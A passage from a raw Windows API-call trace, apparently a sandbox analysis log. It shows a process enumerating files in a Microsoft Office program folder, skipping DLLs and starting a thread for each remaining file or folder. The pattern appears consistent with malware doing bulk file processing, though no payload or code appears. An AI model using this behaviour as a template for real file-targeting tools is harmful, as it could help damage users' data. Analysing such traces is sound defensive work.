ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x16db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXGENERC.PDL", cAlternateFileName="")) returned 1 [0086.167] wcscmp (_String1="IXGENERC.PDL", _String2=".") returned 1 [0086.167] wcscmp (_String1="IXGENERC.PDL", _String2="..") returned 1 [0086.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85dd10 [0086.167] wcscpy (in: _Dest=0x1b85dd10, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.167] wcscat (in: _Dest=0x1b85dd10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.167] wcscat (in: _Dest=0x1b85dd10, _Source="IXGENERC.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL" [0086.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85dd10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894 [0086.168] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2ada0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXOLEDB.PDL", cAlternateFileName="")) returned 1 [0086.168] wcscmp (_String1="IXOLEDB.PDL", _String2=".") returned 1 [0086.168] wcscmp (_String1="IXOLEDB.PDL", _String2="..") returned 1 [0086.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b85dd90 [0086.168] wcscpy (in: _Dest=0x1b85dd90, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.168] wcscat (in: _Dest=0x1b85dd90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.168] wcscat (in: _Dest=0x1b85dd90, _Source="IXOLEDB.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL" [0086.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85dd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898 [0086.170] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x63fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXORACLE.PDL", cAlternateFileName="")) returned 1 [0086.170] wcscmp (_String1="IXORACLE.PDL", _String2=".") returned 1 [0086.170] wcscmp (_String1="IXORACLE.PDL", _String2="..") returned 1 [0086.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85de10 [0086.170] wcscpy (in: _Dest=0x1b85de10, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.170] wcscat (in: _Dest=0x1b85de10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.170] wcscat (in: _Dest=0x1b85de10, _Source="IXORACLE.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL" [0086.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85de10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c [0086.171] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2fda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXSSRV.PDL", cAlternateFileName="")) returned 1 [0086.171] wcscmp (_String1="IXSSRV.PDL", _String2=".") returned 1 [0086.171] wcscmp (_String1="IXSSRV.PDL", _String2="..") returned 1 [0086.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85de90 [0086.171] wcscpy (in: _Dest=0x1b85de90, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.171] wcscat (in: _Dest=0x1b85de90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.171] wcscat (in: _Dest=0x1b85de90, _Source="IXSSRV.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL" [0086.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85de90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0 [0086.172] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5adb1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x4db80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXUTIL.DLL", cAlternateFileName="")) returned 1 [0086.172] wcscmp (_String1="IXUTIL.DLL", _String2=".") returned 1 [0086.172] wcscmp (_String1="IXUTIL.DLL", _String2="..") returned 1 [0086.172] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e2cf00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7e2cf00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x499c, dwReserved0=0x0, dwReserved1=0x0, cFileName="JFONT.DAT", cAlternateFileName="")) returned 1 [0086.172] wcscmp (_String1="JFONT.DAT", _String2=".") returned 1 [0086.172] wcscmp (_String1="JFONT.DAT", _String2="..") returned 1 [0086.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85df10 [0086.172] wcscpy (in: _Dest=0x1b85df10, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.172] wcscat (in: _Dest=0x1b85df10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.172] wcscat (in: _Dest=0x1b85df10, _Source="JFONT.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" [0086.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85df10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4 [0086.173] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x89e6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LATIN1.SHP", cAlternateFileName="")) returned 1 [0086.173] wcscmp (_String1="LATIN1.SHP", _String2=".") returned 1 [0086.173] wcscmp (_String1="LATIN1.SHP", _String2="..") returned 1 [0086.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85df90 [0086.173] wcscpy (in: _Dest=0x1b85df90, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.173] wcscat (in: _Dest=0x1b85df90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.173] wcscat (in: _Dest=0x1b85df90, _Source="LATIN1.SHP" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP") returned="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP" [0086.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85df90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8 [0086.174] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5d88a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaa570, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.DLL", cAlternateFileName="")) returned 1 [0086.174] wcscmp (_String1="LGND.DLL", _String2=".") returned 1 [0086.174] wcscmp (_String1="LGND.DLL", _String2="..") returned 1 [0086.174] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Library", cAlternateFileName="")) returned 1 [0086.174] wcscmp (_String1="Library", _String2=".") returned 1 [0086.174] wcscmp (_String1="Library", _String2="..") returned 1 [0086.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7a3490 [0086.174] wcscpy (in: _Dest=0x1b7a3490, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.175] wcscat (in: _Dest=0x1b7a3490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.175] wcscat (in: _Dest=0x1b7a3490, _Source="Library" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library" [0086.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a3490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac [0086.176] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0086.176] wcscmp (_String1="LOGELEMS.DLL", _String2=".") returned 1 [0086.176] wcscmp (_String1="LOGELEMS.DLL", _String2="..") returned 1 [0086.176] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82482540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb590, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGMODEL.MDL", cAlternateFileName="")) returned 1 [0086.176] wcscmp (_String1="LOGMODEL.MDL", _String2=".") returned 1 [0086.176] wcscmp (_String1="LOGMODEL.MDL", _String2="..") returned 1 [0086.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0086.176] wcscpy (in: _Dest=0x1b85e010, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.176] wcscat (in: _Dest=0x1b85e010, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.176] wcscat (in: _Dest=0x1b85e010, _Source="LOGMODEL.MDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL" [0086.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0 [0086.177] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c850300, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5e93400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c850300, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x77da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGVIEW.DLL", cAlternateFileName="")) returned 1 [0086.214] wcscmp (_String1="LOGVIEW.DLL", _String2=".") returned 1 [0086.214] wcscmp (_String1="LOGVIEW.DLL", _String2="..") returned 1 [0086.214] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6960cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOOKUP.DAT", cAlternateFileName="")) returned 1 [0086.215] wcscmp (_String1="LOOKUP.DAT", _String2=".") returned 1 [0086.215] wcscmp (_String1="LOOKUP.DAT", _String2="..") returned 1 [0086.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85e090 [0086.215] wcscpy (in: _Dest=0x1b85e090, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.215] wcscat (in: _Dest=0x1b85e090, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.215] wcscat (in: _Dest=0x1b85e090, _Source="LOOKUP.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" [0086.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0086.216] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIPH.DLL", cAlternateFileName="")) returned 1 [0086.216] wcscmp (_String1="MAPIPH.DLL", _String2=".") returned 1 [0086.216] wcscmp (_String1="MAPIPH.DLL", _String2="..") returned 1 [0086.216] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x473d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELL.DLL", cAlternateFileName="MAPISH~1.DLL")) returned 1 [0086.216] wcscmp (_String1="MAPISHELL.DLL", _String2=".") returned 1 [0086.216] wcscmp (_String1="MAPISHELL.DLL", _String2="..") returned 1 [0086.216] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x23570, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCPS.DLL", cAlternateFileName="")) returned 1 [0086.216] wcscmp (_String1="MCPS.DLL", _String2=".") returned 1 [0086.216] wcscmp (_String1="MCPS.DLL", _String2="..") returned 1 [0086.216] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf009660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xfdb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDCAT.DLL", cAlternateFileName="")) returned 1 [0086.216] wcscmp (_String1="MEDCAT.DLL", _String2=".") returned 1 [0086.216] wcscmp (_String1="MEDCAT.DLL", _String2="..") returned 1 [0086.216] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0086.216] wcscmp (_String1="MEDIA", _String2=".") returned 1 [0086.216] wcscmp (_String1="MEDIA", _String2="..") returned 1 [0086.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3420 [0086.216] wcscpy (in: _Dest=0x1b7a3420, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.216] wcscat (in: _Dest=0x1b7a3420, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.216] wcscat (in: _Dest=0x1b7a3420, _Source="MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0086.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a3420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4 [0086.217] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MI5659~1.DLL")) returned 1 [0086.217] wcscmp (_String1="Microsoft.BusinessData.dll", _String2=".") returned 1 [0086.217] wcscmp (_String1="Microsoft.BusinessData.dll", _String2="..") returned 1 [0086.217] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36c06100, ftCreationTime.dwHighDateTime=0x1ca24ad, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36c06100, ftLastWriteTime.dwHighDateTime=0x1ca24ad, nFileSizeHigh=0x0, nFileSizeLow=0x5a768, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.xml", cAlternateFileName="MI1B7D~1.XML")) returned 1 [0086.217] wcscmp (_String1="Microsoft.BusinessData.xml", _String2=".") returned 1 [0086.217] wcscmp (_String1="Microsoft.BusinessData.xml", _String2="..") returned 1 [0086.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad520 [0086.218] wcscpy (in: _Dest=0x1b7ad520, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.218] wcscat (in: _Dest=0x1b7ad520, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.218] wcscat (in: _Dest=0x1b7ad520, _Source="Microsoft.BusinessData.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml" [0086.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8 [0086.218] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x662b9570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x8a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.dll", cAlternateFileName="MI2E5E~1.DLL")) returned 1 [0086.218] wcscmp (_String1="Microsoft.Office.BusinessApplications.Runtime.dll", _String2=".") returned 1 [0086.218] wcscmp (_String1="Microsoft.Office.BusinessApplications.Runtime.dll", _String2="..") returned 1 [0086.218] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x295c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.xml", cAlternateFileName="MICROS~3.XML")) returned 1 [0086.218] wcscmp (_String1="Microsoft.Office.BusinessApplications.Runtime.xml", _String2=".") returned 1 [0086.218] wcscmp (_String1="Microsoft.Office.BusinessApplications.Runtime.xml", _String2="..") returned 1 [0086.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1182d0 [0086.219] wcscpy (in: _Dest=0x1182d0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.219] wcscat (in: _Dest=0x1182d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.219] wcscat (in: _Dest=0x1182d0, _Source="Microsoft.Office.BusinessApplications.Runtime.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml" [0086.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1182d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc [0086.219] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a61010, 